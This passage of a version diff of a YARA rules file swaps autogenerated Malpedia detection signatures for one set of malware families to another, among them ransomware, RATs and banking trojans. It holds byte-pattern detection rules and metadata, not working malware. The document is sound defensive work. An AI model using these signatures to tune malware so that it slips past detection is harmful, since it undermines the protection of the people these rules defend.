c1e002 51 8bcf } + $sequence_58 = { 6a00 6a00 ff15???????? 6a00 6a00 6a00 8d45dc } + $sequence_59 = { 8b7d10 2bf9 53 50 } + $sequence_60 = { 8dbf00500310 8bd6 897d08 3bc8 } + $sequence_61 = { 8b4d08 dd01 8b7510 dd1e e9???????? c745dce8c20001 } + $sequence_62 = { 3302 52 8bd0 51 03cf 51 58 } + $sequence_63 = { 58 8910 59 5a } + $sequence_64 = { 760b 8b45d0 83e801 8945d0 } + $sequence_65 = { 8945d4 8b4dfc 51 8b55d4 52 e8???????? 8b45fc } + $sequence_66 = { 85c0 7417 817de013010000 7502 eb0c 8d45dc 50 } + $sequence_67 = { bad64abad6 4a ba5d12f75d 12f7 5d 12f7 5d } + $sequence_68 = { c705????????ad380001 8935???????? a3???????? ff15???????? a3???????? 83f8ff 0f84c1000000 } + $sequence_69 = { 51 6800300400 8b55f8 52 ff15???????? 8945fc 837dfc00 } + $sequence_70 = { 40 8945d0 ff75fc ff75d0 } + $sequence_71 = { 84c0 741d 56 68???????? 8bc7 e8???????? } + $sequence_72 = { 8b4508 56 8d34c590f30001 833e00 7513 } + $sequence_73 = { f361 34aa 61 34aa } + $sequence_74 = { c1e803 85c0 7414 56 57 } + $sequence_75 = { 56 ff750c 6818280300 5e 56 } + $sequence_76 = { 83c408 eb18 81ff01030000 7d10 53 53 } + $sequence_77 = { 7420 8b4de0 83c101 894de0 817de014010000 } condition: - 7 of them and filesize < 347328 + 7 of them and filesize < 712704 } -rule MALPEDIA_Win_Sappycache_Auto : FILE +rule MALPEDIA_Win_Apocalypse_Ransom_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "7cc3c8f2-16b3-5753-b1dc-441bde2f37db" + id = "b5a0679d-3efc-5c9d-b682-041d8a2aacea" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sappycache" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sappycache_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.apocalypse_ransom" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.apocalypse_ransom_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "69868e0b80392ecc35dcd562f65c813ca6117f731788d5ab611817e1e3bff002" + logic_hash = "8cee33b1e4eac4c1405375639b552a991305017c9df19464c32f3823d3e5b8e7" score = 75 quality = 75 tags = "FILE" @@ -103036,19 +103347,19 @@ rule MALPEDIA_Win_Sappycache_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff15???????? 4c8bc3 33d2 488bc8 488907 488be8 e8???????? } - $sequence_1 = { 0f84a0000000 817c242000140000 0f8592000000 488d05b8600100 b928000000 } - $sequence_2 = { 4863c9 488d1556fa0000 488bc1 83e13f 48c1f806 } - $sequence_3 = { 4c8d442440 8bca 488d542448 48c1e109 4903cc e8???????? 488b5c2448 } - $sequence_4 = { 488bfb 48895c2420 8b05???????? 3bf0 7c3b 4c8d3db7fa0000 } - $sequence_5 = { 4889442478 488bd8 4885c0 0f840d060000 4889bc2488630000 } - $sequence_6 = { 488bcf ff15???????? b801000000 488b6c2440 488b742448 488b7c2450 488b4c2428 } - $sequence_7 = { ff15???????? 488d4540 498bd7 48ffc2 44382c10 } - $sequence_8 = { 488d15bdcbffff 488d0c10 813950450000 755f b80b020000 66394118 7554 } - $sequence_9 = { 4883ec68 488b05???????? 4833c4 4889442450 33ff 33db } + $sequence_0 = { 6800010000 6a00 6a00 6a00 8d4c2424 51 6880000000 } + $sequence_1 = { 8d4c2414 51 ffd7 03c0 50 8b442414 } + $sequence_2 = { 8bc3 e8???????? 6a04 6800100000 68ff7f0000 6a00 } + $sequence_3 = { 8b2d???????? 52 ffd5 8d442410 } + $sequence_4 = { ff15???????? 6a03 56 ff15???????? 56 ff15???????? 5f } + $sequence_5 = { 51 68???????? 6801000080 ffd6 8b3d???????? 8d542414 52 } + $sequence_6 = { 8d542444 52 56 68???????? 8d842474020000 50 eb13 } + $sequence_7 = { 6a00 6880000000 6a03 6a00 6a01 6800000080 8d4c2440 } + $sequence_8 = { 6801000080 ffd6 8b3d???????? 8d542414 52 ffd7 8b4c2410 } + $sequence_9 = { 743b 56 68???????? ffd5 83c408 6a00 6a00 } condition: - 7 of them and filesize < 262144 + 7 of them and filesize < 40960 } rule MALPEDIA_Win_Yahoyah_Auto : FILE { @@ -103093,18 +103404,18 @@ rule MALPEDIA_Win_Yahoyah_Auto : FILE condition: 7 of them and filesize < 483328 } -rule MALPEDIA_Win_Quantloader_Auto : FILE +rule MALPEDIA_Win_Spaceship_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a6fbe65e-ef8a-5bc4-b8a9-95dfb59d427c" + id = "e9646ae9-48ad-52ca-8e30-ca37f230b031" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.quantloader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.quantloader_auto.yar#L1-L174" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.spaceship" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.spaceship_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "bf8a50a2e031ac2dab43be4a697ae58f19b78ab51aef8ac12657d4c13c8a8701" + logic_hash = "918a94f75a146e2a40061812363f222c7587d1698068cc2f3629d9e72d72f097" score = 75 quality = 75 tags = "FILE" @@ -103118,38 +103429,32 @@ rule MALPEDIA_Win_Quantloader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8945f8 837df800 7405 8b45f8 ffd0 c9 c3 } - $sequence_1 = { e8???????? c744240800000000 c7442404???????? 8b4508 890424 e8???????? 85c0 } - $sequence_2 = { 8b45f8 40 8945f0 eb13 } - $sequence_3 = { c785d4f7ffff00000000 e9???????? c744241400000000 c744241000000084 c744240c00000000 c744240800000000 8b4508 } - $sequence_4 = { c70424???????? e8???????? 83ec08 8b450c } - $sequence_5 = { 837df400 750f c785d4f7ffff00000000 e9???????? } - $sequence_6 = { c70424???????? e8???????? 85c0 0f8eaa000000 } - $sequence_7 = { e8???????? 89442404 c70424???????? e8???????? c7442408???????? c7442404???????? c7042402000080 } - $sequence_8 = { 33c0 66ad 66a90030 7408 } - $sequence_9 = { c3 8b7d74 6a04 6800100000 57 6a00 ff5510 } - $sequence_10 = { 60 8bf3 03763c 8bb680000000 85f6 } - $sequence_11 = { c7457c00000000 81c243e15762 8b4d74 8bfe 837d6400 7403 017564 } - $sequence_12 = { 7410 b904000000 48 7408 b940000000 48 7400 } - $sequence_13 = { 8bf8 f3a4 e8???????? 48 } - $sequence_14 = { 51 50 54 6a04 51 57 ff550c } - $sequence_15 = { 33c0 39411c 74f7 ff711c 8f4550 e8???????? 8f411c } + $sequence_0 = { 68???????? f2ae 8bcb 4f c1e902 f3a5 8bcb } + $sequence_1 = { 66395cc416 f3a4 74c1 81e2ffff0000 83c9ff 03d0 33c0 } + $sequence_2 = { 66c78424bc0100000d00 66898424be010000 c78424c00100001c6b4100 66c78424c40100002500 } + $sequence_3 = { 8bcb 83e103 f3a4 83c9ff bf???????? f2ae f7d1 } + $sequence_4 = { f2ae 8bcb 4f c1e902 f3a5 8b45f0 } + $sequence_5 = { 80a0c0d9410000 40 3bc6 72be 5e c9 c3 } + $sequence_6 = { 6a00 6810040000 ff15???????? 8bf0 56 ffd5 } + $sequence_7 = { 66899c24e6040000 c78424e80400001c674100 66c78424ec0400004a00 66899c24ee040000 c78424f004000014674100 66c78424f40400001e00 66899c24f6040000 } + $sequence_8 = { 8a441c0c 8d741c0c 84c0 75bc 5f 5e } + $sequence_9 = { c7842408050000f8664100 66c784240c0500002000 6689ac240e050000 c7842410050000f0664100 66899c2414050000 6689842416050000 c7842418050000e4664100 } condition: - 7 of them and filesize < 155648 + 7 of them and filesize < 262144 } -rule MALPEDIA_Win_Bernhardpos_Auto : FILE +rule MALPEDIA_Win_Crypt0L0Cker_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "252fe43d-34d2-5ba3-916c-e631fcda4c17" + id = "36a9a672-4992-57ea-891c-f29c4225a913" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bernhardpos" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bernhardpos_auto.yar#L1-L117" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.crypt0l0cker" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.crypt0l0cker_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "a85fc3a62e77b7c1681166d26b96a4f5d23c2afe6eddbdde5dc49efbc64461ae" + logic_hash = "b3cddc973c5366c89b799135e4693f1cb6d7cd129335c29ced490dcf89284e44" score = 75 quality = 75 tags = "FILE" @@ -103163,73 +103468,73 @@ rule MALPEDIA_Win_Bernhardpos_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b4508 50 ff15???????? 8945fc c745f800000000 c745f400000000 } - $sequence_1 = { 884a02 6a01 ff15???????? 8b8d58feffff } - $sequence_2 = { 50 8d8dc8fbffff 51 ff15???????? 6a00 } - $sequence_3 = { 8bec 81ec84040000 53 56 57 6a04 } - $sequence_4 = { 85c0 0f8488010000 8b45fc 8b4844 51 } - $sequence_5 = { 8d8550feffff 50 8d8d5cfeffff 51 6a00 } - $sequence_6 = { 8b4dec c1e108 0345e8 03c8 } - $sequence_7 = { 8b45e4 c1e806 83e03f 8b4d0c 034df4 } - $sequence_8 = { e8???????? a3???????? 68a86b4aa0 a1???????? 50 e8???????? } - $sequence_9 = { e8???????? a3???????? 684f5b51f2 a1???????? 50 e8???????? a3???????? } + $sequence_0 = { 8bcb e8???????? eb05 bf03000000 56 6a01 682f5b5412 } + $sequence_1 = { 53 e8???????? 59 59 85c0 0f84bbfeffff 8b45f8 } + $sequence_2 = { 8bcf e8???????? 8b4c2418 e8???????? 85f6 740f 56 } + $sequence_3 = { 0f8e85000000 53 ff75fc 8d45a8 50 8bd0 8d4dbc } + $sequence_4 = { 33c1 894ee8 8946ec 8d042e c1f802 8b4c8314 8bc1 } + $sequence_5 = { 68???????? bac8cfa6d0 8bce e8???????? 83c404 85c0 0f85b2000000 } + $sequence_6 = { e8???????? 83c40c 68fd010000 53 85f6 7506 } + $sequence_7 = { 3bf2 7301 47 03d8 895de8 3bd8 } + $sequence_8 = { 8be5 5d c3 55 8bec 83ec18 8bc2 } + $sequence_9 = { 0f8520080000 c74424143c000000 55 8d4900 837e3400 0f8505080000 833e01 } condition: - 7 of them and filesize < 368640 + 7 of them and filesize < 917504 } -rule MALPEDIA_Elf_Gobrat_Auto : FILE +rule MALPEDIA_Win_Newcore_Rat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "9cb05d8e-88df-5069-9152-096fc77aac24" - date = "2024-10-31" - modified = "2024-11-11" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/elf.gobrat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/elf.gobrat_auto.yar#L1-L134" + id = "c161add4-90a4-5a07-9de8-bcd8a57e3d69" + date = "2026-01-05" + modified = "2026-01-06" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.newcore_rat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.newcore_rat_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "29d6047280b8adce38a5f6a7e3d8112ab4747228198bdfc531ab746feecbff32" - score = 60 - quality = 35 + logic_hash = "85672d8cf8a6bd59109d6c5a704fff80f074ddc2465adb99808889ae02b39e81" + score = 75 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20241030" - malpedia_hash = "26e26953c49c8efafbf72a38076855d578e0a2e4" - malpedia_version = "20241030" + malpedia_rule_date = "20260105" + malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" + malpedia_version = "20251219" malpedia_license = "CC BY-SA 4.0" malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 4889fa e9???????? 488d842400010000 488d1d22cf1700 b90b000000 488bbc2420020000 } - $sequence_1 = { e8???????? 488b842408010000 488b9c2400010000 488b4c2468 e8???????? e9???????? 4883f917 } - $sequence_2 = { 8d3431 8d76c6 0f1f440000 4883fa06 0f83bf000000 440fb644145c 4131f0 } - $sequence_3 = { e8???????? 488b5c2460 e8???????? 488b6c2448 4883c450 c3 4889442408 } - $sequence_4 = { e8???????? 488d3d2cd23b00 e8???????? 488b6c2478 4883ec80 c3 4889ca } - $sequence_5 = { ebd5 31f6 90 e8???????? ebcb 498b5010 4839d1 } - $sequence_6 = { e8???????? 488b442430 48ffc0 488b5c2420 4883c3fe 488b9424a8010000 488bb42458010000 } - $sequence_7 = { f20f10442428 f20f5e05???????? f20f114040 488b542450 6690 4883fa08 7e3f } - $sequence_8 = { e8???????? 6690 4885c9 0f8578010000 488d0d90371500 4839c8 7505 } - $sequence_9 = { e8???????? 488b6d00 488d05225c0500 488d4c2470 e8???????? 31c0 eb28 } + $sequence_0 = { 8b883c200000 52 51 c744241000000000 ff15???????? f7d8 1bc0 } + $sequence_1 = { 51 57 6a01 53 52 55 ff15???????? } + $sequence_2 = { c686c800000043 c6864b01000043 c7466878920310 6a0d e8???????? 59 8365fc00 } + $sequence_3 = { 0f8788000000 0fb69028720010 ff249508720010 33c0 83c40c c3 8b4644 } + $sequence_4 = { 57 8b78f4 894dfc 85db } + $sequence_5 = { 0430 0fb64c2426 8844242f 8bc1 c1e804 83f809 } + $sequence_6 = { 8984242c040000 8b842434040000 53 55 56 57 8bf1 } + $sequence_7 = { 81ec54020000 a1???????? 33c4 8984244c020000 8b842458020000 55 } + $sequence_8 = { b903000000 668994249c000000 668984249e000000 66898c24a0000000 ba01000000 66899424a2000000 b809000000 } + $sequence_9 = { e9???????? 8b442410 6a04 56 50 8bde c744242400000000 } condition: - 7 of them and filesize < 12853248 + 7 of them and filesize < 581632 } -rule MALPEDIA_Win_Bluelight_Auto : FILE +rule MALPEDIA_Win_Isfb_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "6e926d75-3ab2-5756-a7ce-3e5a6c0d0aa0" + id = "b7221ee8-15b6-53d3-9858-cbee4891c3dd" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bluelight" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bluelight_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.isfb" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.isfb_auto.yar#L1-L1225" license_url = "N/A" - logic_hash = "41a5ac3b75dc9289131b8472b69bdf4cdf3bf64ebeaeb2e76e9bbd4dca7df902" + logic_hash = "8c0f88cb914238661f125a7c021aa83545337967694ef579c4ecd4c1e0598934" score = 75 - quality = 75 + quality = 50 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -103241,32 +103546,163 @@ rule MALPEDIA_Win_Bluelight_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff771c ff15???????? ff771c 8b7714 ff15???????? 5f 8bc6 } - $sequence_1 = { 884dc7 8955d0 81faa7000000 0f87a8410000 ff249526044300 6b4b0428 6a04 } - $sequence_2 = { 85db 740f ff7760 53 ff7764 e8???????? 83c40c } - $sequence_3 = { eb0c 8b4508 8907 c7450800000000 8b4518 894710 8b4520 } - $sequence_4 = { f64605c0 7415 8d442420 68???????? 50 e8???????? ff44241c } - $sequence_5 = { e8???????? 8d4d8c 894314 e8???????? 8d4d9c e8???????? 8d4d94 } - $sequence_6 = { e8???????? b8???????? e9???????? 8d8d60feffff e9???????? 8d4da8 e9???????? } - $sequence_7 = { ff761c 50 e8???????? 83c410 8d4510 50 ff750c } - $sequence_8 = { 8b45d4 3bde 7507 8bc8 e8???????? 8a4d9f 33db } - $sequence_9 = { ff7304 8b4d0c ff73ec 6a2d 5a e8???????? 8943ec } + $sequence_0 = { eb02 33c0 3bc7 741b 50 33c0 } + $sequence_1 = { 50 33c0 e8???????? 3bc7 740f } + $sequence_2 = { e8???????? eb02 33c0 3bc7 7413 50 } + $sequence_3 = { 3bc7 7413 50 6a10 58 e8???????? } + $sequence_4 = { 6a10 58 e8???????? 3bc7 7406 50 e8???????? } + $sequence_5 = { ff75f0 ff75f4 6822010000 e9???????? ff7508 } + $sequence_6 = { 6a64 ff15???????? a1???????? 85c0 7407 83ee64 } + $sequence_7 = { ff35???????? e8???????? 8bf0 3bf3 7443 } + $sequence_8 = { 5e 8bc5 5d 5b 59 c20400 8325????????00 } + $sequence_9 = { 59 c20400 8325????????00 6a00 68???????? 6a01 ff742410 } + $sequence_10 = { ff15???????? 85c0 a3???????? 7402 ffe0 c20400 } + $sequence_11 = { 50 e8???????? 3bdf 7414 } + $sequence_12 = { c20400 55 8bec 83ec0c a1???????? 8365f800 57 } + $sequence_13 = { ff15???????? 3c05 7506 84e4 7704 } + $sequence_14 = { 8b4e10 83e103 740d 51 50 ff7510 e8???????? } + $sequence_15 = { 7417 8b10 2b55fc 8b7d10 0155fc } + $sequence_16 = { ff7510 e8???????? 83c40c c745fc01000000 8b4610 } + $sequence_17 = { 8bd8 85db 895df4 0f84c7000000 56 53 } + $sequence_18 = { b8???????? 53 bb60ea0000 53 ff750c } + $sequence_19 = { 8b7d10 0155fc 83451004 83c004 49 8917 75e9 } + $sequence_20 = { ff37 ff15???????? 2b442414 50 8b07 } + $sequence_21 = { 6a0d 58 e8???????? 85c0 740d 8906 83c604 } + $sequence_22 = { 83c40c 8974240c c6401a00 8b44240c 85c0 } + $sequence_23 = { 8b07 03442418 50 56 ff5310 } + $sequence_24 = { 5b c20800 55 8bec 83e4f8 83ec14 8364240400 } + $sequence_25 = { 8906 83c604 47 83ff03 } + $sequence_26 = { ff35???????? ff15???????? 8b442414 8b4c240c 8907 8b442418 894110 } + $sequence_27 = { 8b4b24 2b4b28 894c2410 8b4b34 f6c140 } + $sequence_28 = { 8b5d0c 837b240c 56 57 8b3b 897c241c 760a } + $sequence_29 = { 8b3b 897c241c 760a 8b4b20 e8???????? eb02 } + $sequence_30 = { 74a3 33ff eb0b 33ff eb03 } + $sequence_31 = { 8b4a0c 3bc8 7415 8b5210 } + $sequence_32 = { 752f 8b450c 8930 eb33 6a00 } + $sequence_33 = { 8b4a3c 03ca 0fb75114 56 } + $sequence_34 = { 50 8d4508 50 53 8bc6 e8???????? } + $sequence_35 = { 750e 837d0800 7408 ff7508 e8???????? } + $sequence_36 = { 83ec48 53 8b5d08 56 57 33ff } + $sequence_37 = { 8b5210 3bd0 740e 8b742408 } + $sequence_38 = { 837d1800 b8???????? 7505 b8???????? 53 } + $sequence_39 = { 8a4604 2404 f6d8 1bc0 83e006 } + $sequence_40 = { 742d ff75fc 6a0d 58 } + $sequence_41 = { c21000 55 8bec 83ec14 a1???????? 53 } + $sequence_42 = { 50 57 6a01 ff75e0 68???????? e8???????? } + $sequence_43 = { 53 b800080000 50 56 ff35???????? } + $sequence_44 = { 8b35???????? 50 83c604 e8???????? 3bfb } + $sequence_45 = { 50 8bd7 e8???????? eb02 33c0 3bc3 741b } + $sequence_46 = { 50 e8???????? 3bfb 7414 } + $sequence_47 = { e8???????? 85db 7423 8b0d???????? 0fb701 } + $sequence_48 = { ff75fc 56 ff35???????? ff15???????? 53 56 } + $sequence_49 = { 0f854affffff 894330 e9???????? 55 } + $sequence_50 = { 752e 53 e8???????? 6a01 6a01 ff7514 } + $sequence_51 = { 8bf8 85ff 0f845d010000 8b4730 a808 } + $sequence_52 = { 0f84e2000000 8b7334 8d442418 50 8d442410 50 e8???????? } + $sequence_53 = { 8bf8 ff7510 57 ff750c 53 e8???????? 3bfe } + $sequence_54 = { ff15???????? 53 56 ff35???????? ff15???????? 5b } + $sequence_55 = { 0f8544010000 8b472c a801 742d } + $sequence_56 = { 50 56 ff5214 8bf7 8bfe e8???????? 5f } + $sequence_57 = { 56 ff35???????? 8945f8 ff15???????? 8bd8 } + $sequence_58 = { 8b4330 a804 0f8451ffffff 8b470c } + $sequence_59 = { 33f6 3975fc 7410 ff75fc 56 ff35???????? } + $sequence_60 = { a840 7509 83632800 e9???????? 8b4330 a840 0f84e2000000 } + $sequence_61 = { 53 e8???????? 3bfe 740e 57 56 } + $sequence_62 = { 7708 0fb7c0 83e820 eb03 0fb7c0 668901 5f } + $sequence_63 = { c9 c20400 51 56 ff74240c } + $sequence_64 = { e8???????? 85c0 7507 33db 895d08 eb03 } + $sequence_65 = { 50 57 e8???????? e9???????? 68???????? } + $sequence_66 = { ff35???????? ff15???????? 33db 6a01 e8???????? } + $sequence_67 = { 8b45fc 5f 5b c9 c21400 55 } + $sequence_68 = { 8b3d???????? 56 ffd7 53 56 ffd7 } + $sequence_69 = { 8ac3 5b c9 c20400 53 56 8bf0 } + $sequence_70 = { 8bf0 8932 83c204 ff4c240c 75e6 5e 5b } + $sequence_71 = { 8bf1 05fefeffff 33db 33c9 } + $sequence_72 = { 750d eb09 ff7618 ff15???????? } + $sequence_73 = { 8b02 43 8acb d3c0 33c6 33442410 8bf0 } + $sequence_74 = { 5b c3 a1???????? 83c040 } + $sequence_75 = { 3bfb 753e ff7618 8b3d???????? ffd7 ff761c } + $sequence_76 = { 47 83c304 3b3e 72dc 8b45fc } + $sequence_77 = { 53 ff7614 ff15???????? 85c0 7512 ff15???????? } + $sequence_78 = { 8d442430 50 8d442428 50 8d442428 50 } + $sequence_79 = { 488bd8 0f8405010000 488bc8 ff15???????? } + $sequence_80 = { 7416 a1???????? 83c004 50 be???????? } + $sequence_81 = { e8???????? e9???????? b909010000 e9???????? } + $sequence_82 = { ff15???????? 488bcf 48870d???????? 483bcf 7405 } + $sequence_83 = { c744242000010000 ff15???????? 4883f8ff 488bf8 7442 } + $sequence_84 = { b90e010000 41b800000100 4889442420 e8???????? e9???????? } + $sequence_85 = { 741d 3dd2100000 7416 a1???????? } + $sequence_86 = { ff35???????? ffd3 8bd8 85db 7476 } + $sequence_87 = { 898c24f0000000 4533c9 4533c0 498bcb ff5028 } + $sequence_88 = { 0f8386000000 488b18 8364245800 33c0 21442450 21442454 } + $sequence_89 = { 6a03 8935???????? 8935???????? 8935???????? } + $sequence_90 = { 488bcf c744242860ea0000 4c0f45c8 48895c2420 e8???????? 85c0 8bd8 } + $sequence_91 = { 53 56 8bf1 05fefeffff } + $sequence_92 = { a1???????? 25efff0000 0bc2 e9???????? } + $sequence_93 = { 898424f4000000 498b03 898c24f0000000 4533c9 } + $sequence_94 = { 33db 66ba2000 498bcc ff15???????? 4885c0 488bf8 7417 } + $sequence_95 = { 8b8c2490000000 83bc248800000000 4c8b442440 488b542448 } + $sequence_96 = { e9???????? 4885f6 7417 4863461c 2b6e1c 4c03e8 488b4610 } + $sequence_97 = { 4883ec20 488bf1 488b0d???????? 4c8be2 } + $sequence_98 = { 4154 4155 4883ec30 33db 33ed 418bf9 48215810 } + $sequence_99 = { 488b0d???????? 448bc3 33d2 41c1e003 ff15???????? 4885c0 488be8 } + $sequence_100 = { 0f84eb000000 83780408 0f84d9000000 488bcb e8???????? } + $sequence_101 = { 488b0d???????? 33d2 ff15???????? bb01000000 498bcc eb07 83c301 } + $sequence_102 = { 895df4 895df0 c745f857000000 bf19010000 } + $sequence_103 = { eb08 488bce e8???????? 488b5c2440 488b742448 488bc7 } + $sequence_104 = { 488b5610 4d8bc6 488bc8 e8???????? 4863561c 8bc5 2b461c } + $sequence_105 = { 488bcf ff15???????? 4c8964dd00 83c301 } + $sequence_106 = { 5f c20400 55 8bec 83e4f8 81ec9c000000 53 } + $sequence_107 = { 8bc7 e8???????? 8d4618 8b08 50 51 ff7614 } + $sequence_108 = { 8bc6 e8???????? 8b06 8b08 57 } + $sequence_109 = { 6a20 40 50 ffd6 } + $sequence_110 = { 5e 33c0 c9 c20400 55 8bec 51 } + $sequence_111 = { 4c8bcf 4889442428 8364242000 33d2 33c9 ff15???????? } + $sequence_112 = { 7557 813d????????04df2209 743c 8d4604 50 } + $sequence_113 = { 488b0d???????? 4c63c0 33d2 4983c00c ff15???????? } + $sequence_114 = { ff15???????? 83cfff 3bc7 8bd8 } + $sequence_115 = { 480f45ca 488bc1 4883c438 c3 48895c2408 48896c2410 4889742418 } + $sequence_116 = { 448bc0 8bd8 33d2 4983c001 } + $sequence_117 = { e9???????? 488bcb ff15???????? a810 } + $sequence_118 = { ff15???????? 8945f8 85c0 7418 3bd8 7514 57 } + $sequence_119 = { 803f2a 750b 4883c701 83c3ff } + $sequence_120 = { 85ff 756f 8b0d???????? 8b05???????? } + $sequence_121 = { 4d03c0 33d2 ff15???????? 488be8 } + $sequence_122 = { 75ee 488bd5 33c9 ff15???????? 488bf8 } + $sequence_123 = { 488bf8 4885c0 7420 488bd3 488bc8 ff15???????? 488b0d???????? } + $sequence_124 = { 741d 397b04 7618 488d7308 488b0e ff15???????? ffc7 } + $sequence_125 = { c744242880000000 89742420 ff15???????? 488bf0 4883f8ff 742b } + $sequence_126 = { 7510 488b0b e8???????? 85c0 0f859b000000 } + $sequence_127 = { 85c0 0f8561010000 8b4348 a801 742c 488b0b e8???????? } + $sequence_128 = { 85c0 0f859b000000 4863533c 488b4608 } + $sequence_129 = { 8b434c 84c0 0f89a3000000 8b434c a804 7415 } + $sequence_130 = { 85c0 0f85e8000000 488b4608 488b0e 4533c9 } + $sequence_131 = { e8???????? 85c0 0f8561010000 8b4348 } + $sequence_132 = { 7505 217b3c eb0b 8b434c 84c0 0f89a3000000 } + $sequence_133 = { 7508 8b5304 83c304 01f2 8b4c241c 01d1 } + $sequence_134 = { 8b4c2424 01c1 83c304 894c2410 56 90 } + $sequence_135 = { 40 c1ca08 e2e4 c9 } + $sequence_136 = { 56 57 51 64ff3530000000 58 8b400c } + $sequence_137 = { 30c9 eb67 8044241301 0fb6ca 01cb } + $sequence_138 = { 89ec 5d c20c00 60 } + $sequence_139 = { 90 89ce 83e603 750c 8b5d10 } + $sequence_140 = { 8b3a 83c204 8b0a 83e908 } condition: - 7 of them and filesize < 2191360 + 7 of them and filesize < 2940928 } -rule MALPEDIA_Win_Leash_Auto : FILE +rule MALPEDIA_Win_Covid22_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "834a92ba-9821-599a-958a-a52bb0a34e26" + id = "99a02a74-d0a3-533c-b448-35480cff51fc" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.leash" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.leash_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.covid22" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.covid22_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "c93eec2e1f2f1d66b27a1254f16f6dd424c1be05af8702a857f092a6abe7b4de" + logic_hash = "968cf98e2e8c36cdb3ce45b1a5e5186c5425f3f25bc15cd333cdcc77eeba73ef" score = 75 quality = 75 tags = "FILE" @@ -103280,32 +103716,32 @@ rule MALPEDIA_Win_Leash_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 83c408 85c0 744f 8b0e 53 83c10c } - $sequence_1 = { e8???????? 8bf8 8d8548feffff 6a0a 50 6a00 56 } - $sequence_2 = { 8b5d08 8d55cc 50 52 8d8bff000000 c645fc02 } - $sequence_3 = { 83c41c 83f8ff 0f8482010000 85c0 } - $sequence_4 = { 83c41c f2ae f7d1 2bf9 8bd1 8bf7 8bfd } - $sequence_5 = { 8b7c242c 6800040000 8d8328380000 57 50 e8???????? 668b44243c } - $sequence_6 = { aa b9ff000000 33c0 8dbc2411040000 f3ab } - $sequence_7 = { 8dbd5df9ffff 889d5cf9ffff f3ab 66ab aa b9ff000000 33c0 } - $sequence_8 = { 68???????? e8???????? a1???????? 83c40c 8d95e4f7ffff 8d8819100000 51 } - $sequence_9 = { e9???????? 8d8424fc290000 8d8c24fc050000 50 51 e8???????? } + $sequence_0 = { 8a4d78 83c40c f6c102 8975dc 897d08 } + $sequence_1 = { 57 e8???????? 8d7438ff 3bf7 } + $sequence_2 = { 8b3d???????? ffd7 8b4608 85c0 7403 50 ffd7 } + $sequence_3 = { 33d9 81e3ff000000 c1e908 330c9df0904000 0fb65801 } + $sequence_4 = { 89c3 83fb01 7532 ff35???????? } + $sequence_5 = { e8???????? 8d0df4b14000 5a e8???????? 8b442414 e8???????? 50 } + $sequence_6 = { 83c001 8bce c1e908 330c9df0904000 0fb618 33d9 } + $sequence_7 = { 